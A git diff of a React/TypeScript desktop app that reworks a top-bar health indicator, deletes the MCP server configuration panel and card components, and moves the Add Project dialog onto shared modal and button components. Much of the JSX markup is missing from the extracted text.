{updateInfo && ( )} {imageUpdateInfo && ( )} - - + + @@ -103,15 +118,29 @@ export default function TopBar() { ); } -function StatusDot({ ok, label }: { ok: boolean; label: string }) { - return ( - - - {label} - - ); +/** + * `null` (still checking) is visually distinct and pulses; `false` is an + * outage and renders red — previously both fell through to the same gray dot. + */ +function HealthDot({ + state, + okLabel, + failLabel, + pendingLabel, +}: { + state: boolean | null; + okLabel: string; + failLabel: string; + pendingLabel: string; +}) { + let tone: StatusTone = "unknown"; + let label = pendingLabel; + if (state === true) { + tone = "ok"; + label = okLabel; + } else if (state === false) { + tone = "error"; + label = failLabel; + } + return ; } diff --git a/app/src/components/mcp/McpPanel.tsx b/app/src/components/mcp/McpPanel.tsx deleted file mode 100644 index 4fafca8..0000000 --- a/app/src/components/mcp/McpPanel.tsx +++ /dev/null @@ -1,79 +0,0 @@ -import { useState, useEffect } from "react"; -import { useMcpServers } from "../../hooks/useMcpServers"; -import McpServerCard from "./McpServerCard"; - -export default function McpPanel() { - const { mcpServers, refresh, add, update, remove } = useMcpServers(); - const [newName, setNewName] = useState(""); - const [error, setError] = useState(null); - - useEffect(() => { - refresh(); - }, []); // eslint-disable-line react-hooks/exhaustive-deps - - const handleAdd = async () => { - const name = newName.trim(); - if (!name) return; - setError(null); - try { - await add(name); - setNewName(""); - } catch (e) { - setError(String(e)); - } - }; - - return ( -
-
-

- MCP Servers{" "} - Beta -

-

- Define MCP servers globally, then enable them per-project. -

-
- - {/* Add new server */} -
- setNewName(e.target.value)} - onKeyDown={(e) => { if (e.key === "Enter") handleAdd(); }} - placeholder="Server name..." - className="flex-1 px-2 py-1 bg-[var(--bg-primary)] border border-[var(--border-color)] rounded text-xs text-[var(--text-primary)] focus:outline-none focus:border-[var(--accent)]" - /> - -
- - {error && ( -
{error}
- )} - - {/* Server list */} -
- {mcpServers.length === 0 ? ( -

- No MCP servers configured. -

- ) : ( - mcpServers.map((server) => ( - - )) - )} -
-
- ); -} diff --git a/app/src/components/mcp/McpServerCard.tsx b/app/src/components/mcp/McpServerCard.tsx deleted file mode 100644 index 833bcd2..0000000 --- a/app/src/components/mcp/McpServerCard.tsx +++ /dev/null @@ -1,331 +0,0 @@ -import { useState, useEffect } from "react"; -import type { McpServer, McpTransportType } from "../../lib/types"; - -interface Props { - server: McpServer; - onUpdate: (server: McpServer) => Promise; - onRemove: (id: string) => Promise; -} - -export default function McpServerCard({ server, onUpdate, onRemove }: Props) { - const [expanded, setExpanded] = useState(false); - const [name, setName] = useState(server.name); - const [transportType, setTransportType] = useState(server.transport_type); - const [command, setCommand] = useState(server.command ?? ""); - const [args, setArgs] = useState(server.args.join(" ")); - const [envPairs, setEnvPairs] = useState<[string, string][]>(Object.entries(server.env)); - const [url, setUrl] = useState(server.url ?? ""); - const [headerPairs, setHeaderPairs] = useState<[string, string][]>(Object.entries(server.headers)); - const [dockerImage, setDockerImage] = useState(server.docker_image ?? ""); - const [containerPort, setContainerPort] = useState(server.container_port?.toString() ?? "3000"); - - useEffect(() => { - setName(server.name); - setTransportType(server.transport_type); - setCommand(server.command ?? ""); - setArgs(server.args.join(" ")); - setEnvPairs(Object.entries(server.env)); - setUrl(server.url ?? ""); - setHeaderPairs(Object.entries(server.headers)); - setDockerImage(server.docker_image ?? ""); - setContainerPort(server.container_port?.toString() ?? "3000"); - }, [server]); - - const saveServer = async (patch: Partial) => { - try { - await onUpdate({ ...server, ...patch }); - } catch (err) { - console.error("Failed to update MCP server:", err); - } - }; - - const handleNameBlur = () => { - if (name !== server.name) saveServer({ name }); - }; - - const handleTransportChange = (t: McpTransportType) => { - setTransportType(t); - saveServer({ transport_type: t }); - }; - - const handleCommandBlur = () => { - saveServer({ command: command || null }); - }; - - const handleArgsBlur = () => { - const parsed = args.trim() ? args.trim().split(/\s+/) : []; - saveServer({ args: parsed }); - }; - - const handleUrlBlur = () => { - saveServer({ url: url || null }); - }; - - const handleDockerImageBlur = () => { - saveServer({ docker_image: dockerImage || null }); - }; - - const handleContainerPortBlur = () => { - const port = parseInt(containerPort, 10); - saveServer({ container_port: isNaN(port) ? null : port }); - }; - - const saveEnv = (pairs: [string, string][]) => { - const env: Record = {}; - for (const [k, v] of pairs) { - if (k.trim()) env[k.trim()] = v; - } - saveServer({ env }); - }; - - const saveHeaders = (pairs: [string, string][]) => { - const headers: Record = {}; - for (const [k, v] of pairs) { - if (k.trim()) headers[k.trim()] = v; - } - saveServer({ headers }); - }; - - const inputCls = "w-full px-2 py-1 bg-[var(--bg-primary)] border border-[var(--border-color)] rounded text-xs text-[var(--text-primary)] focus:outline-none focus:border-[var(--accent)]"; - - const isDocker = !!dockerImage; - - const transportBadge = { - stdio: "Stdio", - http: "HTTP", - }[transportType]; - - const modeBadge = isDocker ? "Docker" : "Manual"; - - return ( -
- {/* Header */} -
- - -
- - {/* Expanded config */} - {expanded && ( -
- {/* Name */} -
- - setName(e.target.value)} - onBlur={handleNameBlur} - className={inputCls} - /> -
- - {/* Docker Image (primary field — determines Docker vs Manual mode) */} -
- - setDockerImage(e.target.value)} - onBlur={handleDockerImageBlur} - placeholder="e.g. mcp/filesystem:latest (leave empty for manual mode)" - className={inputCls} - /> -

- Set a Docker image to run this MCP server in its own container. Leave empty to run commands inside the project container. Images are pulled automatically if not present. -

-
- - {/* Transport type */} -
- -
- {(["stdio", "http"] as McpTransportType[]).map((t) => ( - - ))} -
-
- - {/* Mode description */} -

- {transportType === "stdio" && isDocker && "Runs via docker exec in a separate MCP container."} - {transportType === "stdio" && !isDocker && "Runs inside the project container (e.g. npx commands)."} - {transportType === "http" && isDocker && "Runs in a separate container, reached by hostname on the project network."} - {transportType === "http" && !isDocker && "Connects to an MCP server at the URL you specify."} -

- - {/* Container Port (HTTP+Docker only) */} - {transportType === "http" && isDocker && ( -
- - setContainerPort(e.target.value)} - onBlur={handleContainerPortBlur} - placeholder="3000" - className={inputCls} - /> -

- Port the MCP server listens on inside its container. The URL is auto-generated as http://<container>:<port>/mcp on the project network. -

-
- )} - - {/* Stdio fields */} - {transportType === "stdio" && ( - <> -
- - setCommand(e.target.value)} - onBlur={handleCommandBlur} - placeholder={isDocker ? "Command inside container" : "npx"} - className={inputCls} - /> -
-
- - setArgs(e.target.value)} - onBlur={handleArgsBlur} - placeholder="-y @modelcontextprotocol/server-filesystem /path" - className={inputCls} - /> -
- { setEnvPairs(pairs); }} - onSave={saveEnv} - /> - - )} - - {/* HTTP fields (only for manual mode — Docker mode auto-generates URL) */} - {transportType === "http" && !isDocker && ( - <> -
- - setUrl(e.target.value)} - onBlur={handleUrlBlur} - placeholder="http://localhost:3000/mcp" - className={inputCls} - /> -
- { setHeaderPairs(pairs); }} - onSave={saveHeaders} - /> - - )} - - {/* Environment variables for HTTP+Docker */} - {transportType === "http" && isDocker && ( - { setEnvPairs(pairs); }} - onSave={saveEnv} - /> - )} -
- )} -
- ); -} - -function KeyValueEditor({ - label, - pairs, - onChange, - onSave, -}: { - label: string; - pairs: [string, string][]; - onChange: (pairs: [string, string][]) => void; - onSave: (pairs: [string, string][]) => void; -}) { - const inputCls = "flex-1 min-w-0 px-2 py-1 bg-[var(--bg-primary)] border border-[var(--border-color)] rounded text-xs text-[var(--text-primary)] focus:outline-none focus:border-[var(--accent)]"; - - return ( -
- - {pairs.map(([key, value], i) => ( -
- { - const updated = [...pairs] as [string, string][]; - updated[i] = [e.target.value, value]; - onChange(updated); - }} - onBlur={() => onSave(pairs)} - placeholder="KEY" - className={inputCls} - /> - = - { - const updated = [...pairs] as [string, string][]; - updated[i] = [key, e.target.value]; - onChange(updated); - }} - onBlur={() => onSave(pairs)} - placeholder="value" - className={inputCls} - /> - -
- ))} - -
- ); -} diff --git a/app/src/components/projects/AddProjectDialog.tsx b/app/src/components/projects/AddProjectDialog.tsx index 856fb63..72149a2 100644 --- a/app/src/components/projects/AddProjectDialog.tsx +++ b/app/src/components/projects/AddProjectDialog.tsx @@ -1,7 +1,10 @@ -import { useState, useEffect, useRef, useCallback } from "react"; +import { useId, useRef, useState } from "react"; import { open } from "@tauri-apps/plugin-dialog"; import { useProjects } from "../../hooks/useProjects"; import type { ProjectPath } from "../../lib/types"; +import Modal from "../ui/Modal"; +import Button from "../ui/Button"; +import { inputClass, monoInputClass } from "../ui/Field"; interface Props { onClose: () => void; @@ -25,26 +28,7 @@ export default function AddProjectDialog({ onClose }: Props) { const [error, setError] = useState(null); const [loading, setLoading] = useState(false); const nameInputRef = useRef(null); - const overlayRef = useRef(null); - - useEffect(() => { - nameInputRef.current?.focus(); - }, []); - - useEffect(() => { - const handleKeyDown = (e: KeyboardEvent) => { - if (e.key === "Escape") onClose(); - }; - document.addEventListener("keydown", handleKeyDown); - return () => document.removeEventListener("keydown", handleKeyDown); - }, [onClose]); - - const handleOverlayClick = useCallback( - (e: React.MouseEvent) => { - if (e.target === overlayRef.current) onClose(); - }, - [onClose], - ); + const formId = useId(); const handleBrowse = async (index: number) => { const selected = await open({ directory: true, multiple: false }); @@ -63,24 +47,12 @@ export default function AddProjectDialog({ onClose }: Props) { } }; - const updateEntry = ( - index: number, - field: keyof PathEntry, - value: string, - ) => { + const updateEntry = (index: number, field: keyof PathEntry, value: string) => { const entries = [...pathEntries]; entries[index] = { ...entries[index], [field]: value }; setPathEntries(entries); }; - const removeEntry = (index: number) => { - setPathEntries(pathEntries.filter((_, i) => i !== index)); - }; - - const addEntry = () => { - setPathEntries([...pathEntries, { host_path: "", mount_name: "" }]); - }; - const handleSubmit = async (e?: React.FormEvent) => { if (e) e.preventDefault(); if (!name.trim()) { @@ -115,98 +87,106 @@ export default function AddProjectDialog({ onClose }: Props) { }; return ( -
+ + + + } > -
-

Add Project

- -
-